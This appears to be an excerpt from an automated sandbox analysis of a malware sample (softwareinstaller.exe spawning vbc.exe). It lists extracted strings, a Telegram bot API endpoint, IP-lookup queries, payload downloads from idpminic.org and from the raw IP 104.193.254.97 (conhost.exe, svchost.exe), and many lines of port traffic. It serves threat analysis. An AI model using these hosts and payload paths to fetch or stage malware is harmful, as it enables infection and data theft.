Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: softwareinstaller.exe	String found in binary or memory: http://www.entrust.net/rpa0
Source: vbc.exe, 00000002.00000002.455487577.0000000006BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.org
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.org/aula/dmi1dfg7n.kjylug
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.org/aula/f429fjd4uf84u.sdfh
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.org/aula/hiuhehufw.hfe
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.org/aula/ofg7d45fsdfgg312.sfhg
Source: vbc.exe, 00000002.00000002.455487577.0000000006BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.org4
Source: vbc.exe, 00000002.00000002.462247931.0000000006CD6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.455026280.0000000006BB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.orgD8
Source: vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb
Source: softwareinstaller.exe, softwareinstaller.exe, 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmp, softwareinstaller.exe, 00000000.00000003.240524568.0000000000D72000.00000040.00001000.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp, conchsvt.exe, 0000000C.00000000.307537958.0000000000372000.00000002.00000001.01000000.0000000A.sdmp, conchsvt.exe.2.dr	String found in binary or memory: https://api.telegram.org/bot
Source: vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: vbc.exe, 00000002.00000002.481659852.0000000007BB0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: vbc.exe, 00000002.00000002.481659852.0000000007BB0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: vbc.exe, 00000002.00000002.481659852.0000000007BB0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: vbc.exe, 00000002.00000002.481659852.0000000007BB0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: softwareinstaller.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: vbc.exe, 00000002.00000002.481659852.0000000007BB0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: api.ip.sb

Source: global traffic	HTTP traffic detected: GET /aula/hiuhehufw.hfe HTTP/1.1Host: www.idpminic.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aula/dmi1dfg7n.kjylug HTTP/1.1Host: www.idpminic.org
Source: global traffic	HTTP traffic detected: GET /aula/ofg7d45fsdfgg312.sfhg HTTP/1.1Host: www.idpminic.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aula/f429fjd4uf84u.sdfh HTTP/1.1Host: www.idpminic.org
Source: global traffic	HTTP traffic detected: GET /conhost.exe HTTP/1.1Host: 104.193.254.97Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /svchost.exe HTTP/1.1Host: 104.193.254.97Connection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
